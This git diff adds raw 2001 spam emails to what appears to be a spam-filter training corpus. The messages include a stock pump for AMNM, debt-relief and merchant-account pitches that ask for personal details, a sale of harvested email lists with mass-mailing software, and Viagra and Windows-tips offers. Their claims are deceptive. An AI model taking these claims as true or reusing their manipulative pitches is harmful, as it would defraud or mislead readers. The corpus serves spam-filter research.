with ESMTP id 6B527151C2C for + ; Mon, 30 Jul 2001 08:02:34 +0000 (Eire) +Received: from indec-ntserver.indec.com.au (indecp1.lnk.telstra.net + [139.130.51.102]) by dogma.slashnull.org (8.9.3/8.9.3) with ESMTP id + JAA07687 for ; Mon, 30 Jul 2001 09:02:27 +0100 +Date: Mon, 30 Jul 2001 09:02:27 +0100 +From: computerupdates101@msn.com +Message-Id: <200107300802.JAA07687@dogma.slashnull.org> +Received: from 202 (indecp.lnk.telstra.net [139.130.38.75]) by + indec-ntserver.indec.com.au with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2650.21) id 35KJCMA9; Sat, 28 Jul 2001 17:45:55 +1000 +To: computerupdates101@msn.com +Subject: windows tips + + + +ARE YOU HAVING TROUBLE WITH YOUR COMPUTER? THE PROBLEMS MAY NOT BE WITH YOUR COMPUTER? + +As part of a National Marketing Test, we are offering the most amazing Windows Tips. +Over 60 ways to improve the performance of your computer. (GUARANTEED) +You will gain a better understanding of your computer and Windows 95 - 98SE operating system just by using these amazing tips and tricks. + +With this program and its information you will be able to: + +Increase your computer's resources (Are you at 96%?) +Search for hidden files +Keyboard Shortcuts +Restart your computer faster +Open programs faster +Find better ways to free up memory +New PnP devices +Find the hidden settings for Windows +How to make a Restart Icon +What to do when Windows won't start? +Memory issues +INI versus registry +Changing Logon and Logoff screens +Did you know you could change the name of your "Start" menu? + +THIS IS ONLY A SAMPLE OF WHAT IS AVAILABLE TO YOU WITH THIS PROGRAM. + +During this special promotion we will be offering this amazing program for just $14.95 postage paid. This is less than half of the suggested retail price of $29.99 + +All you will need to run this disk is a Windows based computer and an Internet browser (no need to be connected to the Internet). Sorry no Macintosh version available at this time. + +These are tips and tricks that computer technicians know and now you have all the information available for a low price of only $14.95 postage paid! Software and computer manufacturers don't want you to know these secrets, because they want you to buy their software and/or technology upgrades at very inflated prices. +This investment of only $14.95 truly outweighs the frustration of a poorly working good computer. + +Gain a better understanding of your computer by using these tips. + +ORDER TODAY FOR YOUR COPY OF THIS AMAZING PROGRAM FOR WINDOWS. + +Postage paid. +$14.95 US, $19.95 International (U.S dollars) + +(We accept Cash, Check or Money order) + +Make Checks payable to: +C Chute +PO Box 6337 +Jacksonville, Fl. 32205-9998 + +Please Print Clearly Your Return: + +Name _______________________________________________________________l31__ + +Address _______________________________________________________________ + +City, State, and Zip Code _____________________________________________ + +E-mail Address_________________________________________________________ ........................................................................ + +This program is fully guaranteed. If you are unhappy just return the disk within 30 days +And we will refund your money. + +Copyright 2001 +C Chute +All Rights Reserved + +All REMOVE requests AUTOMATICALLY honored upon receipt. PLEASE understand that any effort to disrupt, close or block this REMOVE account can only result in difficulties for others wanting to be removed from our master mailing list as it will be impossible to take anyone off the list if the remove instruction cannot be received. To be removed from our master mailing list please send an email to 2getoffmylist@start.com.au and place remove in the subject. + +Thank you: +PLEASE FORWARD TO EVERYONE YOU KNOW! +ONE DAY THEY WILL THANK YOU! + + +This mailing is done by an independent marketing co. +We apologize if this message has reached you in error. +Save the Planet, Save the Trees! Advertise With +E-mail. No wasted paper! Delete with +One simple keystroke! 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ACT NOW! + +Sincerely, + +NetProMarketing +Direct Consulting for the home-biz entrepreneurial type. + +AOL Members Click +Here + + +_________________________________________________ + +Disclaimer +======= +Thanks for reading this review - it'll be beneficial to your +online marketing efforts! +Anyways, should you, jm@netnoteinc.com, +have received this message by mistake, just hit 'Reply' +and put 'REMOVE' in the subject line. + +Enjoy your prosperity ! +_________________________________________________ + + diff --git a/bayes/spamham/spam_2/00100.f18596df33992ee2af3e79f71f092e69 b/bayes/spamham/spam_2/00100.f18596df33992ee2af3e79f71f092e69 new file mode 100644 index 0000000..bb52da2 --- /dev/null +++ b/bayes/spamham/spam_2/00100.f18596df33992ee2af3e79f71f092e69 @@ -0,0 +1,77 @@ +From 3awo@msn.com Tue Jul 31 22:36:21 2001 +Return-Path: <3awo@msn.com> +Delivered-To: yyyy@netnoteinc.com +Received: from daytracker2.mikro414 (loadit.franklinplanner.com + [216.150.8.179]) by mail.netnoteinc.com (Postfix) with ESMTP id + BD9B011410E for ; Tue, 31 Jul 2001 21:36:20 +0000 + (Eire) +Received: from exxeu.msn.com ([212.0.164.98]) by daytracker2.mikro414 + (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with SMTP id + mikro414; Tue, 31 Jul 2001 00:58:56 +0100 +From: 3awo@msn.com +To: n10kmhp10@msn.com +Reply-To: karldeluna4094@canada.com +Subject: Fwd: Accepting Credit Cards (Faq) [suhdn] +Message-Id: <20010731213620.BD9B011410E@mail.netnoteinc.com> +Date: Tue, 31 Jul 2001 21:36:20 +0000 (Eire) + + + If you want a your own no hassle Credit Card Merchant Account + with absolutely no setup fees. Read on... we have a 95% + approval rate! + + Good credit, bad credit, no credit -- no a problem! + + This Means *You*, yes *YOU* can be accepting Credit Cards TODAY! + + including: + + Visa, MasterCard, American Express and Discover, Debit cards, + ATM and Check by fax! + + Anyone is welcome: + + Internet Auctions!, Websites!, Retail stores, Home Business Anyone! + + If you would like to speak to someone right now, we would be more + then happy to answer any questions you might have, please provide: + + Your Phone Number: ( ) - + Best time to call: + + You will also have the ability to accept E-checks over the Internet + + Did I mention that everything runs on the most secure servers in + the world! As well you have the ability to do all of this over + the phone for those customers who have yet to trust the security + on the Internet! + + You will never miss another sale! + + We can handle ANY business and client type! + + If you already have a merchant account we can lower your rates + substantially with the most competitive rates in the industry and + state of the art equipment and software. We will tailor a program + to fit your budget and you wont pay a premium for this incredible + service! + + Please help your business grow, you deserve it! + + How much longer can you accept checks? + Don't lose your customers to your competition! + + We are here to help, We can provide you with the information you + need to make a sound decision, please provide: + + Your Phone Number: ( ) - + Best time to call: + + (All information is kept securely and will never be shared with + a third party) + + If you wish to be removed from our mailing list, please reply to + this email with the subject "Remove" and you will not receive + future emails from our company. + + diff --git a/bayes/spamham/spam_2/00101.1eefdf65cf34445662c1d308ef78d103 b/bayes/spamham/spam_2/00101.1eefdf65cf34445662c1d308ef78d103 new file mode 100644 index 0000000..6097004 --- /dev/null +++ b/bayes/spamham/spam_2/00101.1eefdf65cf34445662c1d308ef78d103 @@ -0,0 +1,77 @@ +From pmil@msn.com Tue Jul 31 22:50:22 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from daytracker2.mikro414 (loadit.franklinplanner.com + [216.150.8.179]) by mail.netnoteinc.com (Postfix) with ESMTP id + 1BB3711410E for ; Tue, 31 Jul 2001 21:50:22 +0000 + (Eire) +Received: from vnano.msn.com ([212.0.164.98]) by daytracker2.mikro414 + (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with SMTP id + mikro414; Tue, 31 Jul 2001 01:04:56 +0100 +From: pmil@msn.com +To: vvefk@msn.com +Reply-To: sylvesterpanessa1683@canada.com +Subject: Fwd: Accepting Credit Cards (Faq) [g1010pn] +Message-Id: <20010731215022.1BB3711410E@mail.netnoteinc.com> +Date: Tue, 31 Jul 2001 21:50:22 +0000 (Eire) + + + If you want a your own no hassle Credit Card Merchant Account + with absolutely no setup fees. Read on... we have a 95% + approval rate! + + Good credit, bad credit, no credit -- no a problem! + + This Means *You*, yes *YOU* can be accepting Credit Cards TODAY! + + including: + + Visa, MasterCard, American Express and Discover, Debit cards, + ATM and Check by fax! + + Anyone is welcome: + + Internet Auctions!, Websites!, Retail stores, Home Business Anyone! + + If you would like to speak to someone right now, we would be more + then happy to answer any questions you might have, please provide: + + Your Phone Number: ( ) - + Best time to call: + + You will also have the ability to accept E-checks over the Internet + + Did I mention that everything runs on the most secure servers in + the world! As well you have the ability to do all of this over + the phone for those customers who have yet to trust the security + on the Internet! + + You will never miss another sale! + + We can handle ANY business and client type! + + If you already have a merchant account we can lower your rates + substantially with the most competitive rates in the industry and + state of the art equipment and software. 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    + + + + + + + diff --git a/bayes/spamham/spam_2/00104.67ea4a37ac02d37f4baa7631ba17a824 b/bayes/spamham/spam_2/00104.67ea4a37ac02d37f4baa7631ba17a824 new file mode 100644 index 0000000..25094c2 --- /dev/null +++ b/bayes/spamham/spam_2/00104.67ea4a37ac02d37f4baa7631ba17a824 @@ -0,0 +1,36 @@ +From work_from_home2931@usa.net Wed Aug 1 06:29:46 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from ns1.winernet.com (unknown [202.96.172.214]) by + mail.netnoteinc.com (Postfix) with ESMTP id 88DA011410E for + ; Wed, 1 Aug 2001 05:29:43 +0000 (Eire) +Received: from 7ehe4idb.twoevilsmail.com + (sdn-ar-004midetrP272.dialsprint.net [206.133.126.74]) by ns1.winernet.com + (8.11.1/8.11.1) with SMTP id f714Rh337320; Wed, 1 Aug 2001 13:27:44 +0900 +From: work_from_home2931@clvvrvlkcra.usa.net +Content-Transfer-Encoding: 7bit +Date: Wed, 01 Aug 2001 01:34:08 -0500 +To: @neto.net +Reply-To: magnumslug_357@yahoo.com +Subject: A brand new opportunity to work from home! -lrmjq +Message-Id: +Received: from 7ehe4idb.twoevilsmail.com [206.133.126.74] by + 6pg5mf.7ehe4idb.twoevilsmail.com with SMTP; Wed, 01 Aug 2001 01:34:08 + -0500 +Sender: work_from_home2931@usa.net + + +New Page 1

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    + + + diff --git a/bayes/spamham/spam_2/00105.d8f25617befc5289aa4ed9602457050b b/bayes/spamham/spam_2/00105.d8f25617befc5289aa4ed9602457050b new file mode 100644 index 0000000..8881ac6 --- /dev/null +++ b/bayes/spamham/spam_2/00105.d8f25617befc5289aa4ed9602457050b @@ -0,0 +1,83 @@ +From dlpost34@yahoo.com Wed Aug 1 06:44:03 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from www.takaoku.co.jp (ns.takaoku.co.jp [210.172.100.18]) by + mail.netnoteinc.com (Postfix) with SMTP id 4EF5511410E for + ; Wed, 1 Aug 2001 05:44:01 +0000 (Eire) +Received: from 64.3.213.156 (unverified [64.3.213.156]) by + www.takaoku.co.jp (EMWAC SMTPRS 0.83) with SMTP id + ; Wed, 01 Aug 2001 14:36:38 +0900 +Message-Id: <000000387f85$0000406b$00002bd2@> +To: +From: dlpost34@yahoo.com +Subject: Home Loans Just Got Better! +Date: Wed, 01 Aug 2001 01:58:18 -0700 +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-Priority: 3 +X-Msmail-Priority: Normal + + +We are Loan Specialists + + + + +

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    + + + + + diff --git a/bayes/spamham/spam_2/00106.09988f439b8547dc90efb1530c02329b b/bayes/spamham/spam_2/00106.09988f439b8547dc90efb1530c02329b new file mode 100644 index 0000000..7e5d62e --- /dev/null +++ b/bayes/spamham/spam_2/00106.09988f439b8547dc90efb1530c02329b @@ -0,0 +1,97 @@ +From jane0l215@excite.com Wed Aug 1 02:18:32 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from www.chinafeedonline.com (unknown [202.108.249.77]) by + mail.netnoteinc.com (Postfix) with ESMTP id 3685211410E for + ; Wed, 1 Aug 2001 01:18:30 +0000 (Eire) +Received: from html ([211.154.103.13]) by www.chinafeedonline.com + (8.9.3/8.9.3) with SMTP id KAA32165; Wed, 1 Aug 2001 10:03:53 +0800 +Message-Id: <200108010203.KAA32165@www.chinafeedonline.com> +From: Mary +To: yyyy@netnoteinc.com +Subject: Major Stock Play +Date: Wed, 1 Aug 2001 09:10:16 +MIME-Version: 1.0 +Content-Type: text/html; charset="DEFAULT_CHARSET" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 + + + + + + + + + + + + + + + + + +
    +
    Amnis Systems, Inc. (OTCBB:AMNM)
    +
     
    +
    CONTRACT ANNOUNCEMENTS AND HUGE NEWSLETTER COVERAGE THIS WEEK = +FOR=20 + AMNM !!!
    +
     
    +
    This Thursday AMNM will be profiled by some major newsletters.= + =20 + There will be huge volume and a strong increase in price for severa= +l=20 + days.  These are the same newsletters that profiled CLKS two w= +eeks=20 + ago.  They brought CLKS from $1.50 to $4.35 in ten days. = + We=20 + know for certain that the same groups are going to profile AMNM sta= +rting=20 + on Thursday.
    +
     
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    +
     
    +
    The stock is trading near its 52 week low, and will start movi= +ng up=20 + immediately.  We believe the stock could easiely reach $4 in l= +ess=20 + than a month.
    +
     
    +
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    + +=09 +=09 +=09 +=09 +=09 +=09 +=09
    + +
    _________________________________________________
    IncrediMail - Email has finally= +=20 +evolved -     Click=20 +Here     + + + + diff --git a/bayes/spamham/spam_2/00107.49ebea517b7fe4f1bdf574dc3a125a70 b/bayes/spamham/spam_2/00107.49ebea517b7fe4f1bdf574dc3a125a70 new file mode 100644 index 0000000..e0d236c --- /dev/null +++ b/bayes/spamham/spam_2/00107.49ebea517b7fe4f1bdf574dc3a125a70 @@ -0,0 +1,25 @@ +From bd77@caramail.com Wed Aug 1 15:58:19 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from gisn04.gisqatar.org.qa (unknown [212.77.203.3]) by + mail.netnoteinc.com (Postfix) with ESMTP id 64C1D1152C1 for + ; Wed, 1 Aug 2001 14:57:31 +0000 (Eire) +Received: from [10.244.22.6] (MAXFACTOR-178.SPACEY.NET [206.208.61.178]) + by gisn04.gisqatar.org.qa with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2653.13) id P6T47MR6; Wed, 1 Aug 2001 17:58:52 +0300 +Message-Id: <00004d961414$00001da7$00006d2a@[10.233.43.20]> +To: +From: bd77@caramail.com +Subject: Custom sites or site redesigns $399 +Date: Wed, 01 Aug 2001 09:10:28 -0400 +X-Priority: 3 +X-Msmail-Priority: Normal + + +For a limited time, you can get a beautuful, 100% custom website (or yours redesigned) for $399 complete when you host with us for only @19.95/month. (100 megs, 20 Email POP accounts and more). Includes up to 6 pages (you can add more), feedback forms, more. + +We have plenty of references cost to coast. Call 800-215-4490 (24 hours) for details and site addresses to see our beautiful custom work. + +To be removed from our list, Click here: xxz7rem@mail.com?subject=Remove81TH + + diff --git a/bayes/spamham/spam_2/00108.813fc6306b631b5c58ecfc26caf3a8dc b/bayes/spamham/spam_2/00108.813fc6306b631b5c58ecfc26caf3a8dc new file mode 100644 index 0000000..d7a1ea9 --- /dev/null +++ b/bayes/spamham/spam_2/00108.813fc6306b631b5c58ecfc26caf3a8dc @@ -0,0 +1,44 @@ +From jane0l215@excite.com Wed Aug 1 07:52:17 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from smtp.easydns.com (ns1.easydns.com [216.220.40.243]) by + mail.netnoteinc.com (Postfix) with ESMTP id BED7511410E for + ; Wed, 1 Aug 2001 06:52:16 +0000 (Eire) +Received: from www.nt169.com ([202.102.8.22]) by smtp.easydns.com + (8.11.3/8.11.0) with ESMTP id f716qEM17337 for ; + Wed, 1 Aug 2001 02:52:15 -0400 +Received: from plain ([211.154.103.13]) by www.nt169.com with Microsoft + SMTPSVC(5.0.2195.2966); Wed, 1 Aug 2001 15:06:44 +0800 +From: Mary +To: yyyy@rogerswave.ca +Subject: Major Stock Play +Date: Wed, 1 Aug 2001 14:43:21 +MIME-Version: 1.0 +Content-Type: text/plain; charset="DEFAULT_CHARSET" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 +Message-Id: +X-Originalarrivaltime: 01 Aug 2001 07:06:44.0421 (UTC) FILETIME=[859D5750: + 01C11A58] + +Amnis Systems, Inc. (OTCBB:AMNM) + +CONTRACT ANNOUNCEMENTS AND HUGE NEWSLETTER COVERAGE THIS WEEK FOR AMNM !!! + +This Thursday AMNM will be profiled by some major newsletters. There will be huge volume and a strong +increase in price for several days. These are the same newsletters that profiled CLKS two weeks ago. +They brought CLKS from $1.50 to $4.35 in ten days. We know for certain that the same groups are going +to profile AMNM starting on Thursday. + +We are very proud that we can share this information with you so that you can make a profit out of it. +It is highly advisable to take a position in AMNM as soon as possible, today before the market closes, +or tomorrow. + +The stock is trading near its 52 week low, and will start moving up immediately. We believe the stock +could easiely reach $4 in less than a month. + +Good luck and watch AMNM fly this week!! + + diff --git a/bayes/spamham/spam_2/00109.17824b03f1b16c199abc7f4d7c35e4eb b/bayes/spamham/spam_2/00109.17824b03f1b16c199abc7f4d7c35e4eb new file mode 100644 index 0000000..06662c0 --- /dev/null +++ b/bayes/spamham/spam_2/00109.17824b03f1b16c199abc7f4d7c35e4eb @@ -0,0 +1,55 @@ +From ncp5fufie@msn.com Thu Aug 2 01:35:40 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.reed-ramsey.com (unknown [208.241.169.82]) by + mail.netnoteinc.com (Postfix) with SMTP id 4B35411410E for + ; Thu, 2 Aug 2001 00:35:39 +0000 (Eire) +Received: from opszh.msn.com (ATHM-209-219-xxx-247.home.net + [209.219.228.247]) by mail.reed-ramsey.com; Fri, 27 Jul 2001 00:17:48 + -0500 +From: ncp5fufie@msn.com +To: s10kr1qdd4@msn.com +Reply-To: delgrilley4855@excite.com +Subject: Want help with your debt? [aiqjz] +Message-Id: <20010802003539.4B35411410E@mail.netnoteinc.com> +Date: Thu, 2 Aug 2001 00:35:39 +0000 (Eire) + + +Are you in debt for $4,000 or more? + +Are you tired of being overwhelmed by your bills? + +Feeling as if is there nothing you can do about it? + +Do you have too many credit cards? + +We can help you get out of debt without another loan! +We make Debt a thing of the Past! +We offer hope and help to put you back on track with your finances! +We are here to help! + +You don't have to be a homeowner! +Your past credit history does not matter! +You have nothing to lose and everything to gain! + + For a FREE Consultation + + Please provide the following information. + + Full Name: + Address: + City: + State: + Zip Code: + Home Phone: + Work Phone: + Best Time to Call: + E-Mail Address: + Estimated Debt Size: + + (All information is kept securely and never + provided to any third party sources) + +To no longer receive this message reply with the word - remove - in the e-mail subject line. + + diff --git a/bayes/spamham/spam_2/00110.6a98310639f4d8f87cabd99ce4155c77 b/bayes/spamham/spam_2/00110.6a98310639f4d8f87cabd99ce4155c77 new file mode 100644 index 0000000..d29fa39 --- /dev/null +++ b/bayes/spamham/spam_2/00110.6a98310639f4d8f87cabd99ce4155c77 @@ -0,0 +1,55 @@ +From p10almg@msn.com Thu Aug 2 02:19:56 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from mail.reed-ramsey.com (unknown [208.241.169.82]) by + mail.netnoteinc.com (Postfix) with SMTP id 916E511410E for + ; Thu, 2 Aug 2001 01:19:55 +0000 (Eire) +Received: from mxjjy.msn.com (ATHM-209-219-xxx-247.home.net + [209.219.228.247]) by mail.reed-ramsey.com; Fri, 27 Jul 2001 00:19:10 + -0500 +From: p10almg@msn.com +To: cglkb@msn.com +Reply-To: tedhaefner3617@excite.com +Subject: Do you have enough money for all your bills? [qmpyq] +Message-Id: <20010802011955.916E511410E@mail.netnoteinc.com> +Date: Thu, 2 Aug 2001 01:19:55 +0000 (Eire) + + +Are you in debt for $4,000 or more? + +Are you tired of being overwhelmed by your bills? + +Feeling as if is there nothing you can do about it? + +Do you have too many credit cards? + +We can help you get out of debt without another loan! +We make Debt a thing of the Past! +We offer hope and help to put you back on track with your finances! +We are here to help! + +You don't have to be a homeowner! +Your past credit history does not matter! +You have nothing to lose and everything to gain! + + For a FREE Consultation + + Please provide the following information. + + Full Name: + Address: + City: + State: + Zip Code: + Home Phone: + Work Phone: + Best Time to Call: + E-Mail Address: + Estimated Debt Size: + + (All information is kept securely and never + provided to any third party sources) + +To no longer receive this message reply with the word - remove - in the e-mail subject line. + + diff --git a/bayes/spamham/spam_2/00111.029924c0533dcbc837512cce0792a18b b/bayes/spamham/spam_2/00111.029924c0533dcbc837512cce0792a18b new file mode 100644 index 0000000..4fad317 --- /dev/null +++ b/bayes/spamham/spam_2/00111.029924c0533dcbc837512cce0792a18b @@ -0,0 +1,122 @@ +From talentscout4@mindspring.com Thu Aug 2 03:26:09 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from pe2100.cathay-bank.com.tw (unknown [202.154.196.242]) by + mail.netnoteinc.com (Postfix) with ESMTP id 3A11E11410E for + ; Thu, 2 Aug 2001 02:26:05 +0000 (Eire) +Received: from Computer + (dialup-63.210.121.115.Dial1.LosAngeles1.Level3.net [63.210.121.115]) by + pe2100.cathay-bank.com.tw with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2650.21) id PX8H1N86; Thu, 2 Aug 2001 10:25:56 +0800 +To: talentscout4@mindspring.com +From: +Subject: Looking for Actors, Models, Singers and Dancers!! +Message-Id: <20010802022605.3A11E11410E@mail.netnoteinc.com> +Date: Thu, 2 Aug 2001 02:26:05 +0000 (Eire) + + + + +Recruiting all those wanting a career in entertainment!! +(acting, dancing, singing and modeling). + +World Star Talent Agency is actively pursuing new talent and +fresh faces. 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Put all of the above in an envelope and mail to: + +World Star Talent Agency Inc. +8491 Sunset Blvd. Suite 175 +Hollywood, CA 90069 + + +Why put it off today when you will be on your way to being a STAR tomorrow? + +Please no videos at this time. + + + + + + + diff --git a/bayes/spamham/spam_2/00112.e4952a7d270c78cd6bba9d4f6add13f2 b/bayes/spamham/spam_2/00112.e4952a7d270c78cd6bba9d4f6add13f2 new file mode 100644 index 0000000..2e0adcf --- /dev/null +++ b/bayes/spamham/spam_2/00112.e4952a7d270c78cd6bba9d4f6add13f2 @@ -0,0 +1,533 @@ +From emarketing@arabia.com Thu Aug 2 12:43:15 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id B0F1B1144A7 for + ; Thu, 2 Aug 2001 11:43:05 +0000 (Eire) +Received: from orionserver1.orion.net.tr ([213.194.95.134]) by + dogma.slashnull.org (8.9.3/8.9.3) with ESMTP id LAA08149 for + ; Thu, 2 Aug 2001 11:25:30 +0100 +From: emarketing@arabia.com +Message-Id: <200108021025.LAA08149@dogma.slashnull.org> +Received: from 9mtWlkznU ([216.192.45.9]) by orionserver1.orion.net.tr + (Post.Office MTA v3.1.2 release (PO205-101c) ID# 0-42849U2500L250S0) with + SMTP id ACC1712; Thu, 2 Aug 2001 12:58:45 +0300 +Date: 02 Aug 01 3:11:43 AM +Reply-To: emarketing@arabia.com +To: emarketing@arabia.com +Subject: 99 Million Email Addresses - $99 + + +TO BE REMOVED FROM FUTURE MAILINGS, SIMPLY REPLY TO + THIS MESSAGE AND PUT "REMOVE" IN THE SUBJECT. + + + + + 99 MILLION +EMAIL ADDRESSES + FOR ONLY $99 + + +OR BETTER YET... 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A MASS MAILING SOFTWARE PROGRAM + + +$149.00 + + +SEVERAL WAYS TO ORDER !!! + + +TO ORDER BY PHONE - CALL 530-343-9681 + + +OTHER PACKAGES AND OTHER METHODS - SEE BELOW + + +**************************************** + + +THE BRONZE MARKETING SETUP (addresses ONLY) + + +200,000,000 email addresses on CD + + +These name are all in text files + + +ready to mail!!! + + +$149.00 + +If you need HIGH SPEED mailing software keep reading below. + + +SEVERAL WAYS TO ORDER !!! + + +TO ORDER BY PHONE - CALL 530-343-9681 + + +OTHER PACKAGES AND OTHER METHODS - SEE BELOW + + +**************************************** + + +THE SILVER MARKETING SETUP + + +200,000,000 email addresses on CD + + +These name are all in text files + + +ready to mail!!! AND + + +Several different email programs + + +and tools to help with your mailings + + +and list management. + + +$ 189.00 + + +SEVERAL WAYS TO ORDER !!! + + +TO ORDER BY PHONE - CALL 530-343-9681 + + +OTHER PACKAGES AND OTHER METHODS - SEE BELOW + + +**************************************** + + +THE GOLD MARKETING SETUP + + +VIRTUALLY EVERYTHING!! + + +200,000,000 email addresses on CD + + +These name are all in text files + + +ready to mail!!! AND + + +Several different email programs + + +and tools to help with your mailings + + +and list management. + + + AND + + +Over 500 different Business Reports + + +now being sold on the Internet for up to + + +$100 each. You get full rights to resell these + + +reports. + + +With this package you get the email addresses, + + +the software to mail them AND ready to sell + + +information products. + + +AND ...... + + + a collection of the 100 best money making + + +adds currently floating around on the Internet. + + +$ 249 + + +SEVERAL WAYS TO ORDER !!! + + +TO ORDER BY PHONE - CALL 530-343-9681 + + +OTHER METHODS - SEE BELOW + + +************************************************************* + + + +THE PLATINUM MARKETING SETUP + + +VIRTUALLY EVERYTHING!! + + +200,000,000 email addresses on CD + + +These name are all in text files + + +ready to mail!!! AND + + +Several different email programs + + +and tools to help with your mailings + + +and list management. + + + AND + + +Over 500 different Business Reports + + +now being sold on the Internet for up to + + +$100 each. You get full rights to resell these + + +reports. + + +With this package you get the email addresses, + + +the software to mail them AND ready to sell + + +information products. + + +AND ...... + + + a collection of the 100 best money making + + +adds currently floating around on the Internet. + +AND..... + +LIVE TECH SUPPORT... WHENEVER YOU NEED IT... +FOR AS LONG AS YOU NEED IT!!! + +$339 + +********************************************************** + +SEVERAL WAYS TO ORDER !!! + + +TO ORDER BY PHONE - CALL 530-343-9681 + + +OTHER METHODS - SEE BELOW + + +IF YOU ORDER BY PHONE OR FAX WE WILL SHIP YOUR CD CONTAINING THE 200 (99) MILLION + NAMES WITHIN 12 HOURS OF YOUR ORDER!!! + + + +WE ACCEPT: AMERICAN EXPRESS, VISA & MASTERCARD + + + TYPE OF CARD AMX / VISA / MC??_______________ + + + EXPIRATION DATE ___________________________ + + + NAME ON CREDIT CARD________________________ + + + CREDIT CARD #_______________________________ + + + BILLING ADDRESS ____________________________ + + + CITY_________________________________________ + + + STATE___________________ZIP__________________ + + + COUNTRY____________________________________ + + + PHONE INCLUDE AREA CODE___________________ + + EMAIL ADDRESS______________________________ + + + WE WILL BILL selected amount to your account PLUS one of the + + +following shipping costs: + + + SHIPPING COST OF $3.85 FIRST CLASS MAIL + + + SHIPPING COST OF $15.00 FEDERAL EXPRESS + + + INTERNATIONAL SHIPPING CHARGE $25.00 + + + + SALES TAX added where required + + + 1) FAX your order and a copy of your SIGNED check payable to + + +Cyber FirePower! for the appropriate amount to FAX # 530-343-1808. + + + + 2) Fax the same above requested credit card information to + + +FAX # 530-343-1808. + + + + 3) Call phone # 530-343-9681. This is a 24 hour phone + + +number to place a CREDIT CARD order. This is an ORDER LINE + + +only. + + +ALL INFORMATION NECESSARY FOR YOU TO SUCCESSFULLY MAIL QUICKLY, +PROPERLY, & LEGALLY IS PROVIDED WITH YOUR ORDER. + + + +Copyright 2000, 2001 + + +Please NOTE: This advertisement is NOT sponsored by ANY +Internet Service Provider. This is an advertisement that is produced and +sponsored by Cyber FirePower! for Cyber FirePower! to reach potential customers. + +ALSO TAKE NOTE: At the time of this mailing the return email address is a bonafide +legitimate return email address that was signed up for with the express purpose of +receiving all undeliverable emails as well as remove requests. On occasion the return +email address provided may become disrupted by the efforts of, what we define as, +Internet terrorists. If this is the case and you wish removal please call us. +If you fax a copy of your phone bill where you called us for removal we will +reimburse you via PayPal. + +Congress shall make no law respecting an establishment of religion, or prohibiting the free + exercise thereof, or abridging the freedom of speech or of the press; or the right of the + people peaceably to assemble, and to petition the Government for a redress of grievances. + +Amendment I, The US Constitution + + diff --git a/bayes/spamham/spam_2/00113.0449844c534e41730bb7a0ab513580e9 b/bayes/spamham/spam_2/00113.0449844c534e41730bb7a0ab513580e9 new file mode 100644 index 0000000..de20225 --- /dev/null +++ b/bayes/spamham/spam_2/00113.0449844c534e41730bb7a0ab513580e9 @@ -0,0 +1,58 @@ +From atkinsonscott@fuse.net Wed Aug 1 17:24:22 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from connect.workstation.org.uk (connect.workstation.org.uk + [195.62.206.37]) by mail.netnoteinc.com (Postfix) with ESMTP id + E43AB114549 for ; Wed, 1 Aug 2001 16:24:12 +0000 + (Eire) +Received: from mx1.fuse.net (216.82.8.17) by connect.workstation.org.uk + with SMTP (Eudora Internet Mail Server 1.2.1); Wed, 1 Aug 2001 16:42:40 + +0100 +Message-Id: <0000151b3579$000051f2$00005820@mx1.fuse.net> +To: +From: atkinsonscott@fuse.net +Subject: Viagra Online Now!! 22560 +Date: Wed, 01 Aug 2001 11:30:17 -1600 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal + + + VIAGRA
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    +This is not a SPAM. You are receiving this because
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    +     + + + diff --git a/bayes/spamham/spam_2/00114.68b089e3ca8128bb8d11f4f8bc592764 b/bayes/spamham/spam_2/00114.68b089e3ca8128bb8d11f4f8bc592764 new file mode 100644 index 0000000..b697e0e --- /dev/null +++ b/bayes/spamham/spam_2/00114.68b089e3ca8128bb8d11f4f8bc592764 @@ -0,0 +1,272 @@ +From MAILER-DAEMON Thu Aug 2 08:03:01 2001 +Return-Path: <> +Delivered-To: yyyy@netnoteinc.com +Received: from TmpStr (slip-166-72-126-170.fl.us.prserv.net + [166.72.126.170]) by mail.netnoteinc.com (Postfix) with SMTP id + 08D7311410E for ; Thu, 2 Aug 2001 07:02:53 +0000 + (Eire) +Reply-To: "" <> +From: "" <> +To: "" +Organization: +X-Priority: 1 +X-Msmail-Priority: High +Subject: YOU TO CAN MAKE---THOUSANDS PER WEEK----RUNNING YOUR OWN FREE WEB BUSINESS +Sender: "" <> +MIME-Version: 1.0 +Date: Thu, 2 Aug 2001 02:58:51 -0400 +Message-Id: <20010802070253.08D7311410E@mail.netnoteinc.com> + + +This is a multipart MIME message. + +--= Multipart Boundary 0802010258 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + + + + + + + to remove your address per fed law + print remove in subject line to-------- + route69@biker.com + +--= Multipart Boundary 0802010258 +Content-Type: application/octet-stream; + name="talkcity--page.01.html" +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; + filename="talkcity--page.01.html" + 